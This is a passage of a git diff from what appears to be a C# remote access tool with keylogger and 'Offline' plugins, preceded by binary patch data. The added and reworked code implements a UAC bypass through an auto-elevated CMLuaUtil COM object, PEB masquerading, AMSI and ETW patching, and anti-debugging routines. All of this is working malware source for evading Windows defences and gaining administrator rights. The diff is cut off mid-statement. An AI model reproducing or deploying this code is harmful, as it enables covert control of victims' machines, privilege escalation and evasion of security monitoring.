z3OGk*7-du0bZ8T1=#6n<=F+UHZaBI$!*?-V2J1>RsxFH|d&$@pShkl<>97AeNs=ZsxgFCS}n{wxnaO63hw0cMv^FhLN-V3VS4a|KW z;}$cg!M>4Y19LAcJww8#y?#}8JIl(IV5&cQ&>O<4PrHX{1BLCizR zNVwLMhxA&*IK+u=vM;rkYAf6RB~L=U7ba=*L|Bw-H89j4!U`Vn5iYe7R=7)1et9qr zE#q9%5TEf8ev?FaW1@+ch{`ChrKXl|c2;P0u%20h&C4Wq$9 z?uIe;a7o`Xma?Rp@f8bsSjQgT^%C7`C!Awnh&au?1hK~w!mF_|KzM=ax`2V08#(KI zWz}Wj=x|#TnwFXf)7*s5Bodxv356R~ZOD^ijyAH~>0WVqAdu7E4t5 zaW2)YC+!K2_*+i&H4l}yfqPjI#hK8-3f|UgBf6b&D>wOBu4##p)i;5eA|5uTvOPQ!+@_6( zBk9C-g4O%HHUWHecSG*?jsw~xn4O_==}B*E@#dJNa=o78S}V-YQMpsf+2LMMtt4c4 zBkj)bv_7zpR5jDALJmMHbE{#qNe3ZV!Q3hFFmoL--IL1P46l@6R&LF>#&pn`DQ7`r zp6bM-oXGG-HwFvkTsR(+{lZ@?Uk;&sws6I{o25b+%bWsxTxD`0oMeugfY%j#%-ntO zl)XY81N#eTp8_A-X3JyYe2nv1Yvf`WQrM@fk;lPw=Fp39E3KImBwSv|^vvw=HOUjn z4%*cOTs?PZL%k}J>RkAAUE`L9loLRP5oSZ;u~^fKeyL^ zL~g#w1#{)relAzJDSINPvI1V{4~N4F-OR0mDKxr}Kbp31C4bKLP$d_#J)^0F74QM; zR)LQ#U1RzzNf%;n6@*zwnpi)k<#0b%tILb(^0m5Tk6_(Gb$Li#-cuLj$lSQ27JBp^ zRmw(&qtAN*FN>-~a(obJEu`RUfq;SXp+AsZs#SN5w$iRQ@#RDUqBVHC{h=SS#JCt; zf}O1WBn7Av4F(EB9a*BR@Ll&SnkQQG+a{c0{@>*^smQ!bz$%VA&;x0uAJra6BCU=6S54ypmxxd@Sb#K6v4IchsF7@5<>E(U zk0m&X2dx38@`pTUbf9HBS_&8_dD}1H-YvYhH%UV6BuquXDL%1b*ggSQu}_tLle@0s z|5Rj@OZtebeB4KAm0&O}z6w##j$uMN_zQ>sd7C)ybbPFr!#^sDF;Wqq& zcMm*?uMV9k(ZL}^4~)devkoHSm(CEZWO)fn%&-mKNlHbmvu8tvup0BBTHNIy1+}cL z7tz;U#i(uyO@d`CsutTrb6|N)U1n>>4Nak2pk8!XAH?s6jC4t$Rir_Wf1TJVZno|~`J*rs(qzv^(nxA2wW z6OkY+zVqU+pd=E+t-%Z8eX&0P();4HK_{IO8lM4iPoh6{3e(xnukGh|Cb zD)8qa{l`E)WO8pZu{T#p7JM<7BBe;n6Z7Xmiqz$9q@%)V0i5-c$#R>RM`=ep7I@Ni66poVQNu>Ym>#n=f;g-*VT}g;O@Y^ryLJUwct+q&c1NhsXB-jM~6umYO=HE}=i*cP`Y39%FR|@vU`Nd7A_pVloHVsy zMK-P2@LZWMstPD#Fmsra2o5v<6D5Z(GbaSHs4NV!)PdYBDYr$PYQUmeT^L#0v7mX% zacCH_P3C@s{}=qN^DZQ8OBH8m#r10*}P)D8#QjICF6at9UsY+U^wRdZ!3U LQCyRCp{wH`rew;b delta 102 zcmeBCyvEDQ#>m0IFgcIci``V+E_wq_GGEdA^oBW42fzfz!EMM8?EJg<=CZM9v z%vF;^Sz9LWW$T(8$<;X7kEfn3MVPTj;O6AZJgwpoCeSnnMy@gwJp(;s17kx=1^_9Q B9Y6p8 diff --git a/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.CoreCompileInputs.cache index 9235711d..b5c12324 100644 --- a/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.CoreCompileInputs.cache +++ b/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.CoreCompileInputs.cache @@ -1 +1 @@ -c87080c8d70a6c8fbadf931b301385ed164ea1b9 +cd9b06406ebb28e7e921fa4a339edcfd2546bab0 diff --git a/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.dll b/Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.dll index f2d43373eddc883422c21bdec1b66609a8adf02a..abc98cbda6d68dd0ca61c47e22ecb54f6111ffd0 100644 GIT binary patch delta 2268 zcmYM04Qv!u5Xb*-cW=M1y_ObQOQA;#lvc1%1OY+OB9^aI5onD{Q3T3|Y2h>lg*y~$ z8w+x75X288N(d?maFR#}Atewnq6VUYMhu|XAW2hAOhBUO%v`~Dm*1QD&&+%8_PyQP zM17)ubE{E)t@VRsdw=y(a?dYVB->LbBV){6KRi^9}Q zd=Z-HnuwarPNT=k#M3V8DiqizT7?Zl+hpZ?vAczNY1_tkVv5-u>=-l#D(H(yhDl5~Y7 zq$}iF%)iB+tFztgG6#q~FU(cD>_Xxa+b3@GnMWPgLlQkFv+NV54ALW|al@hT4H`(t zB8v+gVZ9W8UF#vGwD&ucTed&^~>lB9!_bi1t5iIScYMs&767CR>PQsHTh_2UNf$Dq!yi#OT% zWG^+D{Ve7!v1@gD3WMhnC%XSX^Gt_IR}IX4c5zqH>GNojPD7b z^*Q=otpp-c+^w6M!!?T zL83yt&Gva~Dxl*c-RlO5i3-2aLq)?Gll3mq&xl@Wus)4QS6p(=`D}00S>G1ilUW?U zK(}oO>HO=GqtP^!KwkqVC`vb^KH?|LM3g9!XcUEIfqAUqAG<($=@OQ`+Wyz z9fd5SiF~4qVZ;bV3db?ym@H1U@G)VXZ~-wF4PrM5R||I%>90X}xtE?1!Ed-=-i1HV z;SIoLB)tgnv_6=)Ut{|LGncAv+U3Mo{gK3&cQ4}P=;NW(3V#wDb=IjOexgrDn+%<= zIJ#c!Js9QJA*$Xt=3_tBISVmTwRjC=@AVroPAzvEF#H)IcYog)Rzj$LeV+&q%NObF5Y`8VBe}yx#p19W-SGU*SRhD3Yq&If*v) zl=%(bRi7CqcB*#g2b@7P+=)Hvkl9G~>{Nc%NPYgBR>FeHM6JhLl!aey+EmpC({%20 z(cyF752vNi#|`NVa7p??crM2W;tKUff_I#HI*RGGJJ^#m*vpZdPa;8QPGRmbI(d9r z{%>9APIzx1&<; zmkia_=-~L!<>49hqH((|3MQ5o&})XDT3Gt2N>=zmMp?o!Xiap)V5GK|RVy_*b-8>Q gb-~QxV?(1c0u}Ts((F74&}m2Wm{it?9;&te1N?ZXssI20 delta 2267 zcmYM0d2AGQ6vw~6nc110tKGJ=wv^JAwzizolp}aFl9Z!0U_B_TiBPT}7D$0bsRCP0 zX}DTPAOfNU4Z*0vZqz0yU;>Dy1ce}AAaWQ$h=KlLY#O7!_qO2d=JR{s?|Z*v=l7e* zHrF@Tw{A36Odq+eZF4`hrtRQVH9SzNG}LE2&@U*|h6GVnsx}6zRb0&pl$H^CrvOmF z>ax*^TCF}bwABZSUWhH3zi8f4&{dTSoKoaXc>!J?5FxK@m9BbUbFCHq+5XG%?nH5m{()d+aP^ z*gdv`XqX2&X?9y#xUBcsCRY06X}Efe`KdmhChMTdQlNP}@>zSYwi7EgAO+bniz94z zQ{A|U2Jl)=%DO5o{sp@|cJA2BKg|uw#4de%R1+7pk+5}`{Wu?KY#A+(NYO>6r?ct7NtfWe#ZV_yhVKR^|s!}C$ znF!Io)deAETrfT}+ig!4OI{B(SXmYm4p9p7ZI;w>WOpdo`Oy9}T6y}nzu#|j- z0*h%0>vWFSI?VnO&+@s~p>Q5?Y1kv~_n1G}>_;SfU1m8fJYtX^DT^C6rFEB!7F*n* zkFY^HUv${1wV63SF|u1@f_p{2GMR^*LgHF*JleNuL67()#7#ugTu=3N&8Ms~V&E}P zXv|?c^P)D1n_Uj`oD?0Sq6gh7?LzX82qQYjpGh2(_*G%2#{LCOqcjKsrg2D%wT_zFywN)N=D8SF7(*> zWtt3^E1mz)*jg)zmC~(E*dvR3S^STPwFPu?5a3xaMyK(%s5VrDhtqxhC#kY;1TFr+ zyesr5CEo_k2nuGqBdCHeR`-K5er~+etI^zt-UY8#qZdwZh3?mBsSnj%Z@QN8P-Qs{ zTJ}SA&snDRLwz9|J5U;4rRC$v0jvUywAN__m?)|ZeZwtUA*K~2bEo3QI;{w|MQ+IE zFbn7G9&C&t~8h+o1Q{c$L@+^dAGuGm$?5A|ozB17jW&aRgD zAfED~C{zcG8TcG6_8gR}Hg`V79bO~GsMnoFj8(_1MpUaweoUrWjwp@!7G|orxfS!( z5^Tj{HOLNVp^N=pXsS`!Msn4kph+z=+UZTa+3CQyG-U+e<7xdU+SDlfJG7{I=4rgE zzBEkiQ#Gn~fAtPvoSP>oay(n=GhQ%yxN;(r`aao2oKUqjQ^yPLJD1 za6#G}=sxRQ+!dXNEQfVI?on$r^D)r)DD+UAV&2@?jK;+Iob8sHooFbWtP&jqPN~S4$tBiHXAe~Ey1woC zP5rOlPP7)6>Z&5>C|&Tj77p>4OM>#UTs0>#sq70Cqzr1dA1q2w>>O0BR7K+2;09`f gNkd16DliPg>A%Qw`)PoVJJyX#qz${L+J;;I0Vvh0bpQYW diff --git a/Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs b/Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs index 068344ba..f0c3a866 100644 --- a/Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs +++ b/Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs @@ -88,7 +88,7 @@ private int SendData(IPacket data) header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; - header[4] = (byte)data.packetType; + header[4] = (byte)data.PacketType; int sent = socket.Send(header); diff --git a/Remote Access Tool/Plugins/Offline/Offline.csproj b/Remote Access Tool/Plugins/Offline/Offline.csproj index e213c729..4bbe3e26 100644 --- a/Remote Access Tool/Plugins/Offline/Offline.csproj +++ b/Remote Access Tool/Plugins/Offline/Offline.csproj @@ -53,9 +53,14 @@ + + + + + diff --git a/Remote Access Tool/Plugins/Offline/Properties/AssemblyInfo.cs b/Remote Access Tool/Plugins/Offline/Properties/AssemblyInfo.cs index 258d3d83..c2559244 100644 --- a/Remote Access Tool/Plugins/Offline/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Plugins/Offline/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.2.0")] -[assembly: AssemblyFileVersion("3.2.2.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Plugins/Offline/Special/AMSI.cs b/Remote Access Tool/Plugins/Offline/Special/AMSI.cs index 84f8b98b..419008e8 100644 --- a/Remote Access Tool/Plugins/Offline/Special/AMSI.cs +++ b/Remote Access Tool/Plugins/Offline/Special/AMSI.cs @@ -1,5 +1,6 @@ using System; using System.Runtime.InteropServices; +using static Offline.Special.Commons; /* || AUTHOR Arsium || @@ -11,7 +12,7 @@ namespace Offline.Special { internal static class AMSI { - [UnmanagedFunctionPointer(CallingConvention.Winapi)] + /*[UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate IntPtr LoadLibrary ( byte[] name @@ -36,7 +37,7 @@ static void PrepareDelegate() loadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(loadLib, typeof(LoadLibrary)); virtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(virtualProt, typeof(VirtualProtect)); - } + }*/ static IntPtr LoadAmsi() { @@ -45,7 +46,7 @@ static IntPtr LoadAmsi() internal static bool BlockIt() { - PrepareDelegate(); + //PrepareDelegate(); IntPtr amsiDll = Resolver.GetModuleBaseAddress("amsi.dll", (IntPtr)(-1)); if (amsiDll == IntPtr.Zero) diff --git a/Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs b/Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs index bcbba436..dc68fb30 100644 --- a/Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs +++ b/Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs @@ -21,7 +21,7 @@ static AntiDBG() } - [UnmanagedFunctionPointer(CallingConvention.Winapi)] + /*[UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate NtStatus RtlAdjustPrivilege ( RTL_PRIVILEGES privilege, @@ -50,11 +50,11 @@ static void PrepareDelegate() IntPtr ntRaiseHard = Resolver.GetExportAddress("ntdll.dll", "NtRaiseHardError"); rtlAdjustPrivilege = (RtlAdjustPrivilege)Marshal.GetDelegateForFunctionPointer(rtlAdjustPriv, typeof(RtlAdjustPrivilege)); ntRaiseHardError = (NtRaiseHardError)Marshal.GetDelegateForFunctionPointer(ntRaiseHard, typeof(NtRaiseHardError)); - } + }*/ internal static void BlockIt() { - PrepareDelegate(); + //PrepareDelegate(); new Thread(() => { isThreadLaunched = true; diff --git a/Remote Access Tool/Plugins/Offline/Special/COM.cs b/Remote Access Tool/Plugins/Offline/Special/COM.cs new file mode 100644 index 00000000..9dfdce00 --- /dev/null +++ b/Remote Access Tool/Plugins/Offline/Special/COM.cs @@ -0,0 +1,59 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; +using static Offline.Special.Commons; + +/* +|| AUTHOR https://www.796t.com/article.php?id=182188 || +|| Found https://pingmaoer.github.io/2020/07/09/BypassUAC%E6%96%B9%E6%B3%95%E8%AE%BA%E5%AD%A6%E4%B9%A0/ || +|| Original https://github.com/0xlane/BypassUAC || +|| Found https://github.com/kosh-cyber/BypassUac || +|| github : https://github.com/arsium || +|| This method combines PEB masquerading + abusing com object. Reworked the method from original method to make them working with x64 + manually resolve syscalls + testing some methods :)|| +*/ + +namespace Offline.Special +{ + internal class COM + { + private unsafe static object LaunchElevatedCOMObjectUnsafe(Guid Clsid, Guid InterfaceID) + { + string CLSID = Clsid.ToString("B"); // B formatting directive: returns {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx} + string monikerName = "Elevation:Administrator!new:" + CLSID; + + BIND_OPTS3 bo = new BIND_OPTS3(); + bo.cbStruct = (uint)Marshal.SizeOf(bo); + bo.dwClassContext = (int)CLSCTX.CLSCTX_LOCAL_SERVER; + void* retVal; + + int h = coGetObject(Encoding.Unicode.GetBytes(monikerName), &bo, &InterfaceID, &retVal); + if (h != 0) return null; + + return Marshal.GetObjectForIUnknown((IntPtr)retVal); + } + + internal unsafe static Parser.HRESULT Start(string filePath, string param = null) + { + //3E000D72-A845-4CD9-BD83-80C07C3B881F this one works but weird way with prompt (auto approval = false) + //3E5FC7F9-9A51-4367-9063-A120244FBEC7 + + Guid classId = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7"); + + //D4309536-E369-4241-A4DD-3D10A257A1C2 + //6EDD6D74-C007-4E75-B76A-E5740995E24C + + Guid interfaceId = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"); + + object elvObject = LaunchElevatedCOMObjectUnsafe(classId, interfaceId); + + if (elvObject != null) + { + ILua ihw = (ILua)elvObject; + ihw.ShellExec(filePath, null, null, 0, 5); + Marshal.ReleaseComObject(elvObject); + return Parser.HRESULT.S_OK; + } + return Parser.HRESULT.S_FALSE; + } + } +} diff --git a/Remote Access Tool/Plugins/Offline/Special/Commons/Delegates.cs b/Remote Access Tool/Plugins/Offline/Special/Commons/Delegates.cs new file mode 100644 index 00000000..8652d445 --- /dev/null +++ b/Remote Access Tool/Plugins/Offline/Special/Commons/Delegates.cs @@ -0,0 +1,145 @@ +using System; +using System.Runtime.InteropServices; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Offline.Special +{ + internal partial class Commons + { + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + internal delegate void RtlInitUnicodeString + ( + ref UnicodeString DestinationString, + [MarshalAs(UnmanagedType.LPWStr)] string SourceString + ); + + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + internal delegate void RtlEnterCriticalSection(IntPtr lpCriticalSection); + + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + internal delegate void RtlLeaveCriticalSection(IntPtr lpCriticalSection); + + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + internal unsafe delegate int CoGetObject + ( + byte[] pszName, + BIND_OPTS3* pBindOptions, + Guid* riid, + void** rReturnedComObject + ); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + internal unsafe delegate NtStatus NtProtectVirtualMemory + ( + void* ProcessHandle, + void* BaseAddress, + uint* NumberOfBytesToProtect, + PageAccessType NewAccessProtection, + PageAccessType* OldAccessProtection + ); + + + [UnmanagedFunctionPointer(CallingConvention.StdCall)]//Cdecl FOR MANUAL SYSCALL, StdCall otherwise + internal delegate uint NtWriteVirtualMemory + ( + IntPtr ProcessHandle, + IntPtr BaseAddress, + IntPtr buffer, + UIntPtr bufferSize, + out UIntPtr written + ); + + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + internal unsafe delegate NtStatus NtAllocateVirtualMemory + ( + void* ProcessHandle, + void* BaseAddress, + uint ZeroBits, + uint* RegionSize, + MemoryAllocationType AllocationType, + PageAccessType Protect + ); + + #region "AMSI" + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + internal delegate IntPtr LoadLibrary + ( + byte[] name + ); + + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + internal delegate bool VirtualProtect + ( + IntPtr lpAddress, + UIntPtr dwSize, + uint flNewProtect, + out uint lpflOldProtect + ); + + internal static LoadLibrary loadLibrary; + internal static VirtualProtect virtualProtect; + #endregion + #region "AntiDBG" + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + internal delegate NtStatus RtlAdjustPrivilege + ( + RTL_PRIVILEGES privilege, + bool bEnablePrivilege, + bool IsThreadPrivilege, + out bool PreviousValue + ); + + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + internal delegate NtStatus NtRaiseHardError + ( + uint ErrorStatus, + uint NumberOfParameters, + uint UnicodeStringParameterMask, + IntPtr Parameters, + HARDERROR_RESPONSE_OPTION ValidResponseOption, + out HARDERROR_RESPONSE Response + ); + + internal static RtlAdjustPrivilege rtlAdjustPrivilege; + internal static NtRaiseHardError ntRaiseHardError; + #endregion + #region "ETW" + internal delegate NtStatus NtProtectVirtualMemorySafe + ( + IntPtr ProcessHandle, + ref IntPtr BaseAddress, + ref uint NumberOfBytesToProtect, + PageAccessType NewAccessProtection, + ref PageAccessType OldAccessProtection + ); + internal static NtProtectVirtualMemorySafe ntProtectVirtualMemorySafe; + #endregion + #region "PEFromPEB" + [UnmanagedFunctionPointer(CallingConvention.Winapi)] + internal delegate NtStatus NtWriteVirtualMemorySafe + ( + IntPtr ProcessHandle, + IntPtr BaseAddress, + byte[] Buffer, + uint NumberOfBytesToWrite, + out uint NumberOfBytesWritten + ); + + + internal static NtWriteVirtualMemorySafe ntWriteVirtualMemorySafe; + #endregion + + internal static NtProtectVirtualMemory ntProtectVirtualMemory; + internal static NtWriteVirtualMemory ntWriteVirtualMemory; + internal static RtlInitUnicodeString rtlInitUnicodeString; + internal static RtlEnterCriticalSection rtlEnterCriticalSection; + internal static RtlLeaveCriticalSection rtlLeaveCriticalSection; + //private static NtQueryInformationProcessDel ntQueryInformationProcess; + internal static CoGetObject coGetObject; + } +} diff --git a/Remote Access Tool/Plugins/Offline/Special/Commons/Interfaces.cs b/Remote Access Tool/Plugins/Offline/Special/Commons/Interfaces.cs new file mode 100644 index 00000000..cf0f901a --- /dev/null +++ b/Remote Access Tool/Plugins/Offline/Special/Commons/Interfaces.cs @@ -0,0 +1,33 @@ +using System; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +namespace Offline.Special +{ + internal static partial class Commons + { + [ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ILua + { + [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] + void Method1(); + [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] + void Method2(); + [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] + void Method3(); + [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] + void Method4(); + [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] + void Method5(); + [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] + void Method6(); + [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), PreserveSig] + Parser.HRESULT ShellExec( + [In, MarshalAs(UnmanagedType.LPWStr)] string file, + [In, MarshalAs(UnmanagedType.LPWStr)] string paramaters, + [In, MarshalAs(UnmanagedType.LPWStr)] string directory, + [In] uint fMask, + [In] uint nShow); + } + } +} diff --git a/Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs b/Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs index 48b6a8df..5aafee75 100644 --- a/Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs +++ b/Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs @@ -398,6 +398,19 @@ internal struct LargeInteger [FieldOffset(4)] public int HighPartAsInt; [FieldOffset(4)] public uint HighPartAsUInt; } + [StructLayout(LayoutKind.Sequential)] + internal struct BIND_OPTS3 + { + public uint cbStruct; + public uint grfFlags; + public uint grfMode; + public uint dwTickCountDeadline; + public uint dwTrackFlags; + public uint dwClassContext; + public int locale; + public IntPtr pServerInfo; // will be passing null, so type doesn't matter + public IntPtr hwnd; + } #endregion #region "Shutdown" internal enum HARDERROR_RESPONSE_OPTION : uint diff --git a/Remote Access Tool/Plugins/Offline/Special/DelegatesHandling.cs b/Remote Access Tool/Plugins/Offline/Special/DelegatesHandling.cs new file mode 100644 index 00000000..9503dbeb --- /dev/null +++ b/Remote Access Tool/Plugins/Offline/Special/DelegatesHandling.cs @@ -0,0 +1,69 @@ +using System; +using System.Runtime.InteropServices; +using static Offline.Special.Commons; + +/* +|| AUTHOR Arsium || +|| github : https://github.com/arsium || +*/ + +namespace Offline.Special +{ + internal class DelegatesHandling + { + internal unsafe static void PrepareDelegate() + { + IntPtr ntWriteVirtual = Resolver.GetExportAddress("ntdll.dll", "NtWriteVirtualMemory"); + IntPtr ntVirtualProtect = Resolver.GetExportAddress("ntdll.dll", "NtProtectVirtualMemory"); + + IntPtr rtlInitUnicode = Resolver.GetExportAddress("ntdll.dll", "RtlInitUnicodeString"); + IntPtr rtlEnterCritical = Resolver.GetExportAddress("ntdll.dll", "RtlEnterCriticalSection"); + IntPtr rtlLeaveCritical = Resolver.GetExportAddress("ntdll.dll", "RtlLeaveCriticalSection"); + + IntPtr coGet = Resolver.GetExportAddress("ole32.dll", "CoGetObject"); + + ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemory)); + ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemory)); + + rtlInitUnicodeString = (RtlInitUnicodeString)Marshal.GetDelegateForFunctionPointer(rtlInitUnicode, typeof(RtlInitUnicodeString)); + rtlEnterCriticalSection = (RtlEnterCriticalSection)Marshal.GetDelegateForFunctionPointer(rtlEnterCritical, typeof(RtlEnterCriticalSection)); + rtlLeaveCriticalSection = (RtlLeaveCriticalSection)Marshal.GetDelegateForFunctionPointer(rtlLeaveCritical, typeof(RtlLeaveCriticalSection)); + + coGetObject = (CoGetObject)Marshal.GetDelegateForFunctionPointer(coGet, typeof(CoGetObject)); + + + + + + + IntPtr loadLib = Resolver.GetExportAddress("kernel32.dll", "LoadLibraryW"); + IntPtr virtualProt = Resolver.GetExportAddress("kernel32.dll", "VirtualProtect"); + + loadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(loadLib, typeof(LoadLibrary)); + virtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(virtualProt, typeof(VirtualProtect)); + + + + + + + + IntPtr rtlAdjustPriv = Resolver.GetExportAddress("ntdll.dll", "RtlAdjustPrivilege"); + IntPtr ntRaiseHard = Resolver.GetExportAddress("ntdll.dll", "NtRaiseHardError"); + rtlAdjustPrivilege = (RtlAdjustPrivilege)Marshal.GetDelegateForFunctionPointer(rtlAdjustPriv, typeof(RtlAdjustPrivilege)); + ntRaiseHardError = (NtRaiseHardError)Marshal.GetDelegateForFunctionPointer(ntRaiseHard, typeof(NtRaiseHardError)); + + + + + + ntProtectVirtualMemorySafe = (NtProtectVirtualMemorySafe)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemorySafe)); + + + + + + ntWriteVirtualMemorySafe = (NtWriteVirtualMemorySafe)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemorySafe)); + } + } +} diff --git a/Remote Access Tool/Plugins/Offline/Special/ETW.cs b/Remote Access Tool/Plugins/Offline/Special/ETW.cs index 524d0fa4..caf7d9fe 100644 --- a/Remote Access Tool/Plugins/Offline/Special/ETW.cs +++ b/Remote Access Tool/Plugins/Offline/Special/ETW.cs @@ -11,7 +11,7 @@ namespace Offline.Special { internal static class ETW { - [UnmanagedFunctionPointer(CallingConvention.Winapi)] + /*[UnmanagedFunctionPointer(CallingConvention.Winapi)] unsafe delegate NtStatus NtProtectVirtualMemory ( IntPtr ProcessHandle, @@ -27,7 +27,7 @@ static void PrepareDelegate() { IntPtr ntVirtualProtect = Resolver.GetExportAddress("ntdll.dll", "NtProtectVirtualMemory"); ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntVirtualProtect, typeof(NtProtectVirtualMemory)); - } + }*/ private static bool Patch(ref IntPtr address) { @@ -66,14 +66,14 @@ In 32 bit (W10 & W11) : if (address != IntPtr.Zero) { - NtStatus n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeHookCode, PageAccessType.PAGE_EXECUTE_READWRITE, ref flOld); + NtStatus n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeHookCode, PageAccessType.PAGE_EXECUTE_READWRITE, ref flOld); if (n != NtStatus.Success) return false; Marshal.Copy(retOpcode, 0, address, retOpcode.Length); - n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeHookCode, flOld, ref flOldLast); + n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeHookCode, flOld, ref flOldLast); if (n != NtStatus.Success) return false; @@ -85,7 +85,7 @@ In 32 bit (W10 & W11) : internal static bool BlockIt() { - PrepareDelegate(); + //PrepareDelegate(); IntPtr ntTraceEvent = Resolver.GetExportAddress("ntdll.dll", "NtTraceEvent"); IntPtr ntTraceControl = Resolver.GetExportAddress("ntdll.dll", "NtTraceControl"); diff --git a/Remote Access Tool/Plugins/Offline/Special/PEB.cs b/Remote Access Tool/Plugins/Offline/Special/PEB.cs new file mode 100644 index 00000000..146649dd --- /dev/null +++ b/Remote Access Tool/Plugins/Offline/Special/PEB.cs @@ -0,0 +1,137 @@ +using System; +using System.Runtime.InteropServices; +using static Offline.Special.Commons; + +/* +|| AUTHOR : UAC bypass method from Oddvar Moe aka api0cradle. || + * ucmCMLuaUtilShellExecMethod + * + * Purpose: + * + * Bypass UAC using AutoElevated undocumented CMLuaUtil interface. + * This function expects that supMasqueradeProcess was called on process initialization. + * +|| Original C# version : https://github.com/0xlane/BypassUAC || +|| github : https://github.com/arsium || +|| This method combines PEB masquerading + abusing com object. Reworked imports in C# to make it working again :) || +*/ + +namespace Offline.Special +{ + internal class PEB + { + private static bool IsWOW64() => IntPtr.Size == 4; + + private static IntPtr StructureToPtr(object obj) + { + IntPtr ptr = Marshal.AllocHGlobal(Marshal.SizeOf(obj)); + Marshal.StructureToPtr(obj, ptr, false); + return ptr; + } + + private unsafe static void McfInitUnicodeString(IntPtr procHandle, IntPtr lpDestAddress, string uniStr) + { + UnicodeString masq = new UnicodeString(uniStr); + IntPtr masqPtr = StructureToPtr(masq); + UIntPtr lpNumberOfBytesWritten = UIntPtr.Zero; + uint sizeStruct = (uint)Marshal.SizeOf(typeof(UnicodeString)); + PageAccessType flOld = new PageAccessType(); + + ntProtectVirtualMemory((void*)procHandle, (void*)lpDestAddress, &sizeStruct, PageAccessType.PAGE_READWRITE, &flOld); + ntWriteVirtualMemory(procHandle, lpDestAddress, masqPtr, (UIntPtr)Marshal.SizeOf(typeof(UnicodeString)), out lpNumberOfBytesWritten); + } + + [UnmanagedFunctionPointer(CallingConvention.Cdecl)] + private delegate IntPtr GetPeb(); + + internal static void MasqueradePEB() + { + IntPtr FullDllNamePtr, BaseDllNamePtr; + + PEB32 peb32; + PEB64 peb64; + + PebLdrData pld; + + ProcessBasicInformation pbi = new ProcessBasicInformation(); + IntPtr procHandle = CurrentProc; + IntPtr pbiPtr = StructureToPtr(pbi); + + //NtStatus Status = ntQueryInformationProcess(procHandle, 0, pbiPtr, Marshal.SizeOf(pbi), ref result); + + if (true)//(IsSuccess(Status)) + { + pbi = (ProcessBasicInformation)Marshal.PtrToStructure(pbiPtr, typeof(ProcessBasicInformation)); + if (IsWOW64()) + { + //GetPeb getPeb = (GetPeb)Marshal.GetDelegateForFunctionPointer(IntPtr.Size == 4 ? ASM.PebFucker(true) : 